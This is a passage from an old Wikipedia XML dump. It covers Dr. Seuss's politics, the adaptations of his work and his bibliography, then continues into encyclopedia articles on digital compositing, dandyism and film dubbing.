From his work, it would appear that Dr. Seuss's political views were what [[20th century]] Americans would call [[American liberalism|liberal]].  His early political cartoons show a passionate opposition to [[fascism]], and he urged Americans to oppose it, both before and after the entry of the United States into World War II.  Seuss's cartoons also called attention to the early stages of [[the Holocaust]] and denounced discrimination in America against [[Black (people)|black people]] and [[Jew]]s.  Seuss's harsh treatment of the Japanese and of Japanese Americans, mentioned above, has struck many readers as a strange moral blind spot in a generally idealistic man.

Seuss moved to La Jolla, California in 1948, following his years living and working in Hollywood. A widely told story says that when he first went to register to vote in La Jolla, some [[Republican Party (United States)|Republican]] friends called him over to where they were registering voters, but Ted said, &quot;You my friends are over there, but I am going over here [to the Democratic registration].&quot; Geisel had since been a lifelong [[Democratic Party (United States)|Democrat]].

Seuss's children's books also express his commitment to social justice as he perceived it:

*''[[The Lorax]]'' (1971), though told in full-tilt Seussian style, strikes many readers as fundamentally an [[environmentalism|environmentalist]] tract.  It is the tale of a ruthless and greedy industrialist (the &quot;Once-ler&quot;) who so thoroughly destroys the local environment that he ultimately puts his own company out of business.  The book is striking for being told from the viewpoint (generally bitter, self-hating, and remorseful) of the Once-ler himself.  In [[1989]], an effort was made by [[lumber]]ing interests in [[Laytonville, California]] to have the book banned from local school libraries, on the grounds that it was unfair to the lumber industry.

*''[[The Sneetches]]'' (1961) is commonly seen as a satirization of physical discrimination.

*''[[The Butter Battle Book]]'' (1984) written in Seuss's old age, is both a parody and denunciation of the [[nuclear arms race]].

*''[[Yertle the Turtle]]'' (1958) is often interpreted as an allegory of [[Adolf Hitler]]

*Shortly before the end of the [[Watergate scandal]], Geisel also converted one of his famous children's books into a polemic. &quot;[[Richard M. Nixon, Will You Please Go Now!]]&quot; was published in major newspapers through the [[newspaper column|column]] of his friend [[Art Buchwald]]. Nine days later, Nixon went.

*Seuss's personal values also are apparent in the much earlier ''How the Grinch Stole Christmas'' (1957), which can be taken (partly) as a polemic against [[materialism]]. The Grinch thinks he can steal [[Christmas]] from the Whos by stealing all the Christmas gifts and decorations, and attains a kind of enlightenment when the Whos prove him wrong.

==Adaptations of Seuss's work==

For most of his career, Dr. Seuss was reluctant to have his characters marketed in contexts outside of his own books.  However, he did allow a few animated cartoons, an art form in which he himself had gained experience during the Second World War.

In [[1966]], Seuss authorized the eminent cartoon artist [[Chuck Jones]], his friend and former colleague from the war, to make a cartoon version of ''[[How the Grinch Stole Christmas!]]''. This cartoon was very faithful to the original book. It is considered a classic by many to this day, and is in the large catalog of annual [[Christmas television special]]s. In [[1971]], a cartoon version of ''[[The Cat in the Hat]]'' was made as well, but it was considered less successful.

Toward the end of his life, Seuss seems to have relaxed his policy, and several other cartoons and toys were made featuring his characters, usually the Cat in the Hat and the Grinch. When Seuss died of cancer at the age of 87 in [[1991]], his widow Audrey Geisel was placed in charge of all licensing matters.  Since then, Audrey Geisel has become a controversial figure among many of Seuss's fans, seen as being far more liberal in permitting commercialization of her husband's characters and stories. She approved a live-action film version of &quot;the Grinch&quot; starring [[Jim Carrey]], as well as a Seuss-themed Broadway musical called ''[[Seussical]]'' (both released in [[2000]]). A live-action [[The Cat in the Hat|film]] based on ''The Cat in the Hat'' was released in [[2003]], featuring [[Mike Myers (actor)|Mike Myers]] as the title character. Dr. Seuss' books and characters also now appear in an amusement park:  the [[Universal_Orlando_Resort#Seuss_Landing|Seuss Landing]] 'island' at the [[Universal_Orlando_Resort#Islands of Adventure|Islands of Adventure]] [[theme park]] in [[Orlando, Florida]].  Product tie-ins (cereal boxes, and so on) have also been implemented.

In  November [[2004]], an edition of [[MAD Magazine]] ([http://www.collectmad.com/madcoversite/index-covers.html Mad #447]) featured a cover story in which lines from Seuss' books were compared with supposedly similar lines from speeches made by [[George W. Bush]]. It was titled &quot;The Strange Similarities Between the Bush Administration and the World of Dr. Seuss.&quot; The cover drawing was of a Cat in the Hat that resembled Bush.

==Trivia==
*On the season premiere of [[Saturday Night Live]] following Dr. Seuss' death, the Reverend [[Jesse Jackson]] was a special guest during the News segment. He declared that &quot;rather than reading from First or Second Samuel, I will read from 'Sam I Am',&quot; whereupon he read ''Green Eggs and Ham'' in the style of a preacher giving an impassioned sermon.
*On December 1, 1995 The University Library Building at the [[University of California, San Diego]] was renamed Geisel Library in honor of Audrey and Theodor Geisel for the generous contributions they have made to the library and their devotion to improving literacy.  The Geisels were long-time residents of La Jolla, where U. C. San Diego is located. 
*'''Dr Seuss''' was frequently confused, by the US Postal Service among others, with '''Dr Suess''' (cf [[Hans Suess]]) his contemporary living in the same locality, [[La Jolla]]. Ironically, both names have been posthumously linked together: The personal papers of [[Hans Suess]] are housed in the ''Geisel Library'' at [[UCSD]] [http://orpheus.ucsd.edu/speccoll/testing/html/mss0199a.html].

==List of books by Dr. Seuss==
 
* ''[[And to Think That I Saw It on Mulberry Street]]'' New York: Vanguard Press, 1937
* ''[[The 500 Hats of Bartholomew Cubbins]]'' New York: Vanguard Press, 1938
* ''[[The King's Stilts]]'' New York: Random House, 1939
* ''[[The Seven Lady Godivas]]'' New York: Random House, 1939
* ''[[Horton Hatches the Egg]]'' New York: Random House, 1940
* ''[[McElligot's Pool]]'' New York: Random House, 1947. Caldecott Honor Book
* ''[[Thidwick the Big-Hearted Moose]]'' New York: Random House, 1948
* ''[[Bartholomew and the Oobleck]]'' New York: Random House, 1949. Caldecott Honor Book
* ''[[If I Ran the Zoo]]'' New York: Random House, 1950. Caldecott Honor Book
* ''[[Scrambled Eggs Super!]]'' New York: Random House, 1953
* ''[[Horton Hears a Who!]]'' New York: Random House, 1954
* ''[[On Beyond Zebra!]]'' New York: Random House, 1955
* ''[[If I Ran the Circus]]'' New York: Random House, 1956
* ''[[How the Grinch Stole Christmas!]]'' New York: Random House, 1957
* ''[[The Cat in the Hat]]'' New York: Beginner Books, Random House, 1957
* ''[[The Cat in the Hat|The Cat in the Hat Comes Back]]'' New York: Beginner Books, Random House, 1958
* ''[[Yertle the Turtle|Yertle the Turtle and Other Stories]]'' New York: Random House, 1958
* ''[[Happy Birthday to You!]]'' New York: Random House, 1959
* ''[[One Fish Two Fish Red Fish Blue Fish]]'' New York: Beginner Books, Random House, 1960
* ''[[Green Eggs and Ham]]'' New York: Beginner Books, Random House, 1960
* ''[[The Sneetches and Other Stories]]'' New York: Random House, 1961
* ''[[Dr. Seuss's Sleep Book]]'' New York: Random House, 1962
* ''[[Dr. Seuss's ABC]]'' New York: Beginner Books, Random House, 1963
* ''[[Hop on Pop]]'' New York: Beginner Books, Random House, 1963
* ''[[Fox in Socks]]'' New York: Beginner Books, Random House, 1965
* ''[[I Had Trouble in Getting to Solla Sollew]]'' New York: Random House, 1965
* ''[[The Cat in the Hat Song Book]]'' New York: Random House, 1967
* ''[[The Foot Book : Dr. Seuss's Wacky Book of Opposites]]'' New York: Bright &amp; Early Books, Random House, 1968
* ''[[I Can Lick 30 Tigers Today! and Other Stories]]'' New York: Random House, 1969
* ''[[I Can Draw It Myself]]'' New York: Beginner Books, Random House, 1970
* ''[[Mr. Brown Can Moo! Can You?]]'' New York: Bright &amp; Early Books, Random House, 1970
* ''[[The Lorax]]'' New York: Random House, 1971. National Council for the Social Studies Notable Children's Trade Book / Social Studies
* ''[[Marvin K. Mooney Will You Please Go Now!]]'' New York: Bright &amp; Early Books, Random House, 1972
* ''[[Did I Ever Tell You How Lucky You Are?]]'' New York: Random House 1973
* ''[[The Shape of Me and Other Stuff]]'' New York: Bright &amp; Early Books, Random House, 1973
* ''[[There's a Wocket in My Pocket!]]'' New York: Bright &amp; Early Books, Random House, 1974
* ''[[Oh, the Thinks You Can Think!]]'' New York: Beginner Books, Random House, 1975
* ''[[The Cat's Quizzer]]'' New York: Beginner Books, Random House, 1976
* ''[[I Can Read with My Eyes Shut!]]'' New York: Beginner Books, Random House, 1978
* ''[[Oh Say Can You Say?]]'' New York: Beginner Books, Random House, 1979
* ''[[Hunches in Bunches]]'' New York: Random House, 1982
* ''[[The Butter Battle Book]]'' New York: Random House, 1984
* ''[[You're Only Old Once! : A Book for Obsolete Children]]'' New York: Random House, 1986.  
* ''[[Oh, the Places You'll Go!]]'' New York: Random House, 1990
* ''[[Daisy - Head Mayzie]]'' New York: Random House, 1995
* ''[[Hooray for Diffendoofer Day!]]'' New York: Alfred A. Knopf, 1998.  By Dr. Seuss with some help from Jack Prelutsky &amp; Lane Smith (posthumous)
* ''[[My Many Colored Days]]'' New York : Alfred A. Knopf: Distributed by Random House, 1998.  by Dr. Seuss, paintings by Steve Johnson with Lou Fancher
* ''[[Gerald McBoing-Boing]]'' New York: Random House, 2000 (posthumous)

==Omnibus Volumes==
*''A Hatful of Seuss: Five Favorite Dr. Seuss Stories''
**''Bartholomew and the Oobleck'' (1949), ''If I Ran the Zoo'' (1950), ''Horton Hears a Who!'' (1954), ''The Sneetches and Other Stories'' (1961), and ''Dr. Seuss's Sleep Book'' (1962)
*''Your Favorite Seuss : A Baker's Dozen by the One and Only Dr. Seuss'' Molly Leach (Designer)
** ''And To Think That I Saw It On Mulberry Street'', ''Horton Hears a Who!'', ''McElligot's Pool'', ''If I Ran the Zoo'', ''Happy Birthday to You!'', ''Dr. Seuss's Sleep Book'', ''Yertle the Turtle'', ''The Cat in the Hat'', ''How the Grinch Stole Christmas!'', ''Green Eggs and Ham'', ''The Lorax'', ''The Sneetches'', and ''Oh, the Places You'll Go!''
*''Six By Seuss: A Treasury of Dr. Seuss Classics''
**''And To Think That I Saw It On Mulberry Street'', ''The 500 Hats of Bartholomew Cubbins'', ''Horton Hatches the Egg'', ''Yertle the Turtle and Other Stories'', ''How the Grinch Stole Christmas'', and ''The Lorax''

===Writing as Theo. LeSieg===

LeSieg is Geisel spelled backwards.

*''[[Ten Apples Up On Top!]]'' Illustrated by Roy McKie.   c1961
*''[[In A People House]]'' Illustrated by Roy McKie.   1972  
*''[[Wacky Wednesday]]'' Illustrated by George Booth.   c1974
*''[[Would You Rather Be a Bullfrog?]]'' Illustrated by Roy McKie.   1975
*''[[Hooper Humperdink ... ? Not Him!]]'' Illustrated by Charles E. Martin.   c1976  
*''[[Maybe You Should Fly A Jet! Maybe You Should Be A Vet!]]'' Illustated by Michael J. Smollin.   c1980  
*''[[The Tooth Book]]'' Illustrated by Roy McKie.   1981  
*''[[The Eye Book]]'' Illustrated by Joe Mathieu.   1999  
*''[[I Wish That I Had Duck Feet]]''
*''[[Please Try to Remember The First of Octember!]]
*''[[Come Over To My House]]
*''[[The Many Mice of Mr. Brice]] (A pop-up book)
*''[[I Can Write]]

===Writing as Rosetta Stone===
''[[Because a little bug went ka-choo!]]'' illustrated by Michael Frith.  New York: Beginner Books, 1975

==Film, television, and theater adaptations of Seuss works==

* ''[[Horton Hatches the Egg]]'': a 1942 [[Warner Brothers]] [[cartoon]], an early Seuss adaptation, which includes the elephant (and his son, at the end) singing a popular nonsense tune of that time, &quot;The Hut-Sut Song&quot; [http://www.rienzihills.com/SING/T/thehutsutsong.htm].
* ''[[The 5,000 Fingers of Dr. T]]'': a 1953 feature-length live-action movie, with sets that look like classic Seuss drawings and screenplay by Dr. Seuss
* ''[[How the Grinch Stole Christmas!]]'': a 1966 animated television special directed by [[Chuck Jones]] for [[Metro-Goldwyn-Mayer]]
* ''[[Horton Hears a Who!]]'': a 1970 animated television special directed by Chuck Jones for Metro-Goldwyn-Mayer
* ''[[The Cat in the Hat]]'': a 1971 animated television special directed by [[Hawley Pratt]] for [[DePatie-Freleng Enterprises]] and [[CBS]]
* ''[[The Lorax]]'': a 1972 animated television special directed by Hawley Pratt for DePatie-Freleng Enterprises and CBS
* ''[[Dr. Seuss on the Loose]]'': a 1973 animated television special directed by Hawley Pratt for DePatie-Freleng Enterprises and CBS; this special included the stories ''The Sneetches'', ''The Zax'', and ''Green Eggs and Ham''
* ''[[The Hoober-Bloob Highway]]'': a 1975 animated television special directed by [[Alan Zaslove]] for DePatie-Freleng Enterprises and CBS
* ''[[Halloween Is Grinch Night]]'': a 1977 animated television special directed by [[Gerard Baldwin]] for DePatie-Freleng Enterprises
* ''[[Pontoffel Pock, Where Are You?]]'': a 1979 animated television special directed by Gerard Baldwin for DePatie-Freleng Enterprises
* ''[[The Grinch Grinches The Cat in the Hat]]'': a 1982 animated television special directed by [[Bill Perez]] for DePatie-Freleng Enterprises and [[Marvel Productions Ltd.]]
* ''In Search of Dr. Seuss'': a 1994 television biopic outlining Seuss's life along with his books
* ''[[Daisy-Head Mayzie]]'': a 1995 animated television special by [[Christopher O'Hare]] for [[Hanna-Barbera Productions]] (posthumous)
* ''[[How the Grinch Stole Christmas!]]'': a 2001 feature-length live-action movie (posthumous)
* ''[[Seussical]]'': a 2001 Broadway musical (posthumous)
* ''[[The Cat in the Hat]]'': a 2003 live-action film (posthumous)

==Further reading==

*''Dr. Seuss From Then to Now'' (New York: Random House, 1987; ISBN 0394892682) is a biographical retrospective published for the exhibit of the same title at the [[San Diego Museum of Art]]
*''[[The Secret Art of Dr. Seuss]]'' by Audrey Geisel (New York: Random House, 1995; ISBN 0679434488) contains many full-color reproductions of Geisel's private, previously unpublished artwork.
*''Dr. Seuss Goes to War: The World War II Editorial Cartoons of Theodor Seuss Geisel'', a selection with commentary by Richard Minnear (New Press, 2001; ISBN 1565847040).
*''The Seuss, the Whole Seuss and Nothing But the Seuss : A Visual Biography of Theodor Seuss Geisel'' by Charles Cohen (Random House Books for Young Readers, 2004; ISBN 0375822488).
*''The Tough Coughs as he Ploughs the Dough'' : Early works of Dr. Seuss (also includes autobiographical material); ISBN 0688065481

==External links==
{{wikiquote}}
*[http://orpheus.ucsd.edu/speccoll/testing/html/mss0230d.html Brief biography of Dr. Seuss (UC San Diego)]
*[http://orpheus.ucsd.edu/speccoll/dsads/index.shtml The Advertising Artwork of Dr. Seuss (UC San Diego)]
*[http://orpheus.ucsd.edu/speccoll/dspolitic/ The complete Dr. Seuss editorial cartoons (UC San Diego)]
*[http://www.anapsid.org/aboutmk/seuss.html An essay by Melissa Kaplan]
*[http://www.globeandmail.com/servlet/story/RTGAM.20031123.wseuss1123/BNStory/Entertainment/ &quot;Green eggs and subversion,&quot; an essay by Sarah Milroy, ''Toronto Globe and Mail'']
*[http://www.seussville.com/ Seussville site (Random House)]
*[http://www.seuss.org/seuss/seuss.home.html The Dr. Seuss Web Page]
*[http://www.ksu.edu/english/nelp/seuss/ Dr. Seuss on the web]
*{{imdb name|id=0317450|name=Dr. Seuss}}
*[http://www.seuss.org/seuss/seuss.parody.html The Dr. Seuss Parody Page]
*[http://www.kidsreads.com/features/010221-seuss/seuss-timeline.asp Dr. Seuss timeline]
*[http://www.opinionjournal.com/la/?id=110007816]The Wall Street Journal - Green Eggs and Ham

{{Link FA|he}}

[[Category:1904 births|Seuss, Dr.]]
[[Category:1991 deaths|Seuss, Dr.]]
[[Category:Alumni of Lincoln College, Oxford|Seuss, Dr.]]
[[Category:American cartoonists|Seuss, Dr.]]
[[Category:American children's writers|Seuss, Dr.]]
[[Category:American illustrators|Seuss, Dr.]]
[[Category:American poets|Seuss, Dr.]]
[[Category:American writers|Seuss, Dr.]]
[[Category:California writers|Seuss, Dr.]]
[[Category:Dartmouth College alumni|Seuss, Dr.]]
[[Category:Dr. Seuss|*]]
[[Category:German-Americans|Seuss, Dr.]]
[[Category:Lutherans|Seuss, Dr.]]
[[Category:Sigma Phi Epsilon brothers|Seuss, Dr.]]


[[de:Theodor Seuss Geisel]]
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[[he:דוקטור סוס]]
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    <title>Dr. Suess</title>
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      <contributor>
        <username>Magnus Manske</username>
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      <minor />
      <comment>#REDIRECT [[Dr. Seuss]]</comment>
      <text xml:space="preserve">#REDIRECT [[Dr. Seuss]]</text>
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  </page>
  <page>
    <title>Digital compositing</title>
    <id>8858</id>
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      <id>40596446</id>
      <timestamp>2006-02-21T18:43:52Z</timestamp>
      <contributor>
        <username>Discospinster</username>
        <id>82432</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">'''Digital compositing''' is the process of assembling multiple images to make a final image, typically for print, [[film|motion pictures]] or screen display.

The basic operation used is known as 'alpha blending', where an opacity value, '&amp;alpha;' is used to control the proportions of two input [[pixel]] values that end up a single output pixel.

Consider three pixels;
* a foreground pixel, f
* a background pixel, b
* a composited pixel, c
and 
* &amp;alpha;, the opacity value of the foreground pixel. (&amp;alpha;=1 for opaque foreground, &amp;alpha;=0 for a completely transparent foreground). A monochrome raster image where the pixel values are to be interpreted as alpha values is known as a [[matte (filmmaking)|matte]].

Then, considering all three colour channels, and assuming that the colour channels are expressed in a &amp;gamma;=1 colour space (that is to say, the measured values are proportional to light intensity), we have:

:c&lt;sub&gt;r&lt;/sub&gt; = &amp;alpha; f&lt;sub&gt;r&lt;/sub&gt; + (1 - &amp;alpha;) b&lt;sub&gt;r&lt;/sub&gt;
:c&lt;sub&gt;g&lt;/sub&gt; = &amp;alpha; f&lt;sub&gt;g&lt;/sub&gt; + (1 - &amp;alpha;) b&lt;sub&gt;g&lt;/sub&gt;
:c&lt;sub&gt;b&lt;/sub&gt; = &amp;alpha; f&lt;sub&gt;b&lt;/sub&gt; + (1 - &amp;alpha;) b&lt;sub&gt;b&lt;/sub&gt;

Note that if the operations are performed in a colour space where &amp;gamma; is not equal to 1 then the operation will lead to non-linear effects which can potentially be seen as [[aliasing]] artifacts (or '[[jaggies]]') along sharp edges in the matte.  More generally, nonlinear compositing can have effects such as &quot;halos&quot; around composited objects, because the influence of the alpha channel is non-linear.  It is possible for a compositing artist to compensate for the effects of compositing in non-linear space.

The most historically significant nonlinear compositing system was the [[Cineon]], which operated in a logarithmic color space, which more closely mimics the natural light response of film emulsions (the Cineon system, made by Kodak, is no longer in production). Due to the limitations of processing speed and memory, compositing artists did not usually have the luxury of having the system make intermediate conversions to linear space for the compositing steps.  Over time, the limitations have become much less significant, and now most compositing is done in a linear color space, even in cases where the source imagery is in a logarithmic color space.

Compositing often also includes scaling, retouching and colour correction of images.


Current digital compositing systems include:

Inferno, Flame and Combustion systems by Autodesk Entertainment Systems

After Effects by Adobe Systems

Fusion by Eyeon software

Shake by Apple Computer

Nuke by D2 Software


See also:
* [[Gamma correction]]
* [[Bluescreen]]
* [[Digital cinema]]
* [[Alpha compositing]]

Reading:
* T. Porter and T. Duff, &quot;Compositing Digital Images&quot;, Proceedings of SIGGRAPH '84, 18 (1984).
* The Art and Science of Digital Compositing (ISBN 0121339602)


[[Category:Special effects]]
[[Category:Video and movie technology]]

[[ja:デジタル合成]]</text>
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  </page>
  <page>
    <title>Dandy</title>
    <id>8859</id>
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      <id>41853774</id>
      <timestamp>2006-03-02T04:01:28Z</timestamp>
      <contributor>
        <ip>67.167.208.53</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For the [[United Kingdom|British]] children's [[comic book]], see [[The Dandy]]''.

[[Image:dandies.jpg|thumb|right|Sporty Parisian dandies of the 1830s: a girdle was required to achieve this silhouette.]]

A '''dandy''' is a man who places particular importance upon [[physical appearance]], refined language, and the cultivation of leisurely hobbies. Some dandies, especially in Britain in the late [[18th century|18th]] and [[19th century]], often strove to affect [[aristocratic]] values even though many came from common backgrounds.  

The practice of dandyism first appeared in the revolutionary [[1790s]], both in [[London]] and [[Paris]]. The dandy cultivated a skeptical reserve, to such extremes that the novelist [[George Meredith]], no dandy himself, once defined cynicism as &quot;intellectual dandyism.&quot; Some took a more benign view. For example, [[Thomas Carlyle]] in his ''Sartor Resartus'', wrote that a dandy was no more than &quot;a clothes-wearing man&quot;.  Others such as [[Charles Baudelaire]] held that the dandy's mere existence was a reproach to the responsible citizen of the middle class.

One of the great dandies of literature is the [[Scarlet Pimpernel]].

==Etymology==

The word ''dandy'' made its first appearance in a [[Scotland|Scottish]] border ballad about [[1780]], but probably not with its more recent meaning. It was perhaps a shortened form of ''jack-a-dandy,'' ([http://56.1911encyclopedia.org/D/DA/DANDY.htm ''Encyclopaedia Britannica'' 1911]) and it became a vogue word during the [[Napoleonic Wars]]. In the [[slang]] of the time, a dandy was differentiated from a [[fop]] in that the dandy's dress was more refined and sober.  

In the [[21st century]] the word &quot;dandy&quot; has become a jocular adjective meaning &quot;fine&quot; or &quot;great,&quot; and is often used sarcasticaly. However, sometimes a well-dressed and self-absorbed man is still referred to as a ''dandy'' - often with a connotation of [[homosexuality]]. 

==Beau Brummell and early British dandyism==

The very model of the dandy in [[United Kingdom|British]] society was [[Beau Brummell|George Bryan &quot;Beau&quot; Brummell]] ([[1778]]-[[1840]]), an associate of the [[George IV of the United Kingdom|Prince Regent]]: Unpowdered, unperfumed, immaculately bathed and shaved, in a plain dark blue coat, perfectly brushed, of perfect fit, showing a lot of perfectly starched linens, freshly laundered, with an elaborately-tied [[cravat]], from the mid-1790s Brummell became an early version of the [[celebrity]], famous chiefly for being a laconic wit and a clothes-horse.  

By the time [[William_Pitt_the_Younger|Pitt]] taxed powder in [[1795]], Brummell had already abandoned a wig and cut his hair in a Roman fashion, &quot;à la Brutus&quot;. Brummell led the move from [[breeches]] to snugly-tailored dark &quot;pantaloons,&quot; which led directly to the trousers that have been mainstay of men's wear in the Western world for two centuries. Brummell inherited a fortune of thirty thousand pounds, which he spent mostly on costume, gaming and high living, until he suffered the stereotypical fate of the dandy, and fled from his creditors to France, and ultimately died in a [[Caen]] lunatic asylum

People of more notable accomplishments than Brummell adopted the pose as well; [[George Gordon Byron, 6th Baron Byron]] occasionally dressed the part, helping to reintroduce the frilly, lace-cuffed and collared &quot;poet shirt.&quot; He also had his portrait painted in Albanian costume.
[[Image:Maxbeerbohm2.jpeg|thumb|left|[[Max Beerbohm]] in a lithographic portrait of 1893]] 

Another prominent dandy of the period was [[Alfred Guillaume Gabriel d'Orsay]], the Count d'Orsay, who had been a friend of Byron and moved in the highest London circles.  

==Dandyism in France==

During his heyday, Brummell's ''dicta'' on fashion and etiquette reigned supreme. His habits of dress and fashion were much imitated, especially in [[France]], where in a curious development they became especially the rage in [[bohemianism|bohemian]] quarters. Here dandies were sometimes celebrated in revolutionary terms as self-created men who consciously designed their own personalities and broke radically with the traditions of the past.  By their elaborate dress and idle, [[decadence|decadent]] lifestyles, French bohemian dandies sought to convey their contempt for and superiority to bourgeois society.  This fancy-dress bohemianism became a major influence on the [[Symbolism (arts)|Symbolist movement]] in French literature during the latter part of the nineteenth century. 

Baudelaire was deeply interested in the dandyism trend, and wrote memorably that an aspiring dandy must have &quot;no profession other than elegance. . . no other status but that of cultivating the idea of beauty in their own persons. . . . The dandy must aspire to be sublime without interruption; he must live and sleep before a mirror.&quot;  Other French intellectuals also became interested in the dandies they saw strolling the streets of Paris. [[Jules Amédée Barbey d'Aurevilly]] wrote an essay on ''The Anatomy of Dandyism'', which was devoted in large measure to examining the career of Beau Brummell. 


==Later Dandyism==

The gilded [[1890s]] provided many suitably sheltered settings for dandyism. The poets [[Algernon Swinburne]] and [[Oscar Wilde]], [[Walter Pater]], the American artist [[James McNeill Whistler]], [[Joris-Karl Huysmans]] and [[Max Beerbohm]] were dandies of the period, as was [[Robert de Montesquiou]], who inspired [[Marcel Proust]]'s Baron de Charlus. In Italy [[Gabriele d'Annunzio]] and [[Carlo Bugatti]] exemplified the artistic bohemian dandyism of the [[fin de siecle]]. 

The 20th century had less patience with dandyism: the [[Prince of Wales]], briefly [[Edward VIII of the United Kingdom|Edward VIII]] was something of a dandy, and it did not help his public appeal. Nevertheless [[George Walden]], in his essay ''Who's a Dandy?'', points to [[Noel Coward]], [[Andy Warhol]] and [[Quentin Crisp]] as examples of dandies of the modern era.


==Female Dandies==

The female equivalents of dandies could be found in the ''[[demimonde]]'', in figures such as the extravagant courtesan  [[Cora Pearl]]. The [[Luisa Casati|marchesa Luisa Casati]] followed a dandy's career in Venice after World War I. The [[diva]] might also be considered a female dandy.

==Quotations==

&quot;A Dandy is a clothes-wearing Man, a Man whose trade, office and existence consists in the wearing of Clothes. Every faculty of his soul, spirit, purse, and person is heroically consecrated to this one object, the wearing of Clothes wisely and well: so that the others dress to live, he lives to dress...And now, for all this perennial Martyrdom, and Poesy, and even Prophecy, what is it that the Dandy asks in return? Solely, we may say, that you would recognise his existence; would admit him to be a living object; or even failing this, a visual object, or thing that will reflect rays of light...&quot;

- The Dandiacal Body from Sartor Resartus by Thomas Carlyle

==See also==
* [[Fop]]
* [[Macaroni (fashion)|Macaroni]]

==Further reading==

Barbey d'Aurevilly, Jules.  ''Of Dandyism and of George Brummell''.  Translated by Douglas Ainslie.  New York: PAJ Publications, 1988.

Carlyle, Thomas.  ''Sartor Resartus''.  In ''A Carlyle Reader: Selections from the Writings of Thomas Carlyle''.  Edited by G.B. Tennyson.  London: Cambridge University Press, 1984.

Jesse, Captain William.  ''The Life of Beau Brummell''.  London: The Navarre Society Limited, 1927.

Lytton, Edward Bulwer, Lord Lytton.  ''Pelham or the Adventures of a Gentleman''.  Edited by Jerome J. McGann.  Lincoln: University of Nebraska Press, 1972.

Moers, Ellen.  ''The Dandy: Brummell to Beerbohm''.  London: Secker and Warburg, 1960.

Murray, Venetia.  ''An Elegant Madness: High Society in Regency England''.  New York: Viking, 1998.

Nicolay, Claire.  ''Origins and Reception of Regency Dandyism: Brummell to Baudelaire''. Ph.D. diss., Loyola U of Chicago, 1998.

Wharton, Grace and Philip.  ''Wits and Beaux of Society''.  New York: Harper and Brothers, 1861.

==External links==
*[http://www.mtholyoke.edu/courses/rschwart/hist255-s01/boheme/dandyism.html &quot;Bohemianism and Counter-Culture&quot;: The Dandy]
*[http://www.dandyism.net Dandyism.net]
*[http://homepages.ihug.co.nz/~awoodley/regency/dandy.html &quot;The Dandy&quot;]
*[http://www.albany.edu/faculty/rlp96/beerbohm.html ''Dandies and Dandies''] by [[Max Beerbohm]]
*[http://www.livejournal.com/community/refinement/ Refinement (forum)]
*[http://www.lordwhimsy.com LordWhimsy.com]
*[http://www.mmbeyer.com/Papers/Art_History/Mike's/Duchamp.htm &quot;Duchamp is Dandy&quot;] by Michael Beyer

[[Category:Human appearance]]
&lt;!-- The below are interlanguage links. --&gt;

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  <page>
    <title>Dubbing (filmmaking)</title>
    <id>8860</id>
    <revision>
      <id>41722236</id>
      <timestamp>2006-03-01T07:56:34Z</timestamp>
      <contributor>
        <username>TMC1982</username>
        <id>96890</id>
      </contributor>
      <comment>/* Other uses */</comment>
      <text xml:space="preserve">:''For dubbing in music recording, see [[Dubbing (music)]]''

In [[film production|filmmaking]], '''dubbing''' is the process of recording or replacing voices for a [[motion picture]].  The term is most commonly used in reference to voices recorded which do not belong to the original actors and speak in a different language than the actor is speaking.  &quot;Dubbing&quot; can also be used to describe the process of re-recording lines by the actor who originally spoke them.  This process is technically known as '''automated dialogue replacement''', or '''ADR'''.

Although dubbing is most common with film, [[television series]] are sometimes dubbed as well (mostly popular [[Hollywood]] series and serialized [[Japan]]ese [[anime]] that have received foreign distribution). Foreign-language films and videos are often dubbed into the local [[language]] of their [[target market]]s to increase their popularity with the local audience by making them more accessible. 

==Automated dialogue replacement / post-synch==
'''Automated dialogue replacement''' (ADR) is a film sound technique involving the re-recording of dialogue after photography.  It is called '''post-synchronisation''' (post-sync) in the [[United Kingdom|UK]].

In conventional film production, a [[production sound mixer]] records dialogue during photography, but several uncontrollable issues, such as traffic or animal noise, during principal photography can cause the [[production sound]] to be unusable.  

When the film is in post-production, a [[Sound designer|Supervising Sound Editor]] or [[ADR Supervisor]] reviews all of the dialogue in the film and rules which actor lines will have to be replaced using the ADR technique.

ADR is recorded during an ADR session.  An actor, usually the original actor on set, is called to a sound studio equipped with video playback equipment and sound playback and recording equipment.  The actor wears headphones and is shown the film of the line that must be replaced, and often he will be played the production sound recording.  The film is then projected several times, and the actor attempts to re-perform the line while watching the image on the screen, while an [[ADR Recordist]] records the performances.  Several takes are made, and based on the quality of the performance and sync, one is selected and edited by an [[ADR Editor]] for use in the film.

There are variations of the ADR process.  ADR does not have to be recorded in a studio, but can be recorded on location, with mobile equipment; this process was pioneered by [[Matthew Wood]] of [[Skywalker Sound]] for ''[[The Phantom Menace]]''.  ADR can also be recorded without showing the actor the image they must match, but only by having him listen to the performance.  This process was used for years at [[Universal Studios]].

Although actors are trained to sing, few are of professional quality. Therefore, if a character must sing well in a movie, ADR is usually used to redub their singing. This technique was used by [[Billy Boyd]] and [[Viggo Mortensen]] in ''[[The Lord of the Rings#The Peter Jackson films|The Lord of the Rings]]''.

==Foreign films==
Dubbing is often used to [[localization|localize]] a foreign movie.  The new voice track will usually be spoken by a [[voice artist]]. In many countries, most actors who regularly perform this duty are generally little-known, outside of popular circles such as [[anime]] fandom, for example, or when their voice has become indissociable from the role or the actor or actress whose voice they usually dub. Many of these actors also employ pseudonyms or go uncredited due to Actor's Guild regulations or simple desire to dissociate themselves from the role. However, famous local actors can also be hired to perform the dubbing, particularly for comedies and animated movies, as their names are supposed to attract moviegoers, and the entire Hollywood cast is dubbed by a local cast of similar notoriety.

Adding or replacing non-vocal sounds, such as [[sound effect]]s, is the task of a [[foley artist]]. 

[[Subtitle]]s may be used instead of dubbing, as different countries have different traditions regarding the choice between dubbing and subtitling. In most [[English language|English-speaking]] countries, dubbing is comparatively rare. In [[Israel]], some programmes need to be comprehensible to speakers of both [[Hebrew language|Hebrew]] and [[Arabic language|Arabic]]. This cannot be accomplished with dubbing, so subtitling is much more commonplace - sometimes even with subtitles in both languages, with the soundtrack remaining in the original language, usually English. The same thing also applies to certain television shows in [[Finland]], where [[Finnish language|Finnish]] and [[Swedish language|Swedish]] are both official languages. In the [[Netherlands]] and [[Scandinavia]]n countries, films and television programmes are shown in the original language (usually English) with subtitles, and only some cartoons and children programmes are dubbed. 

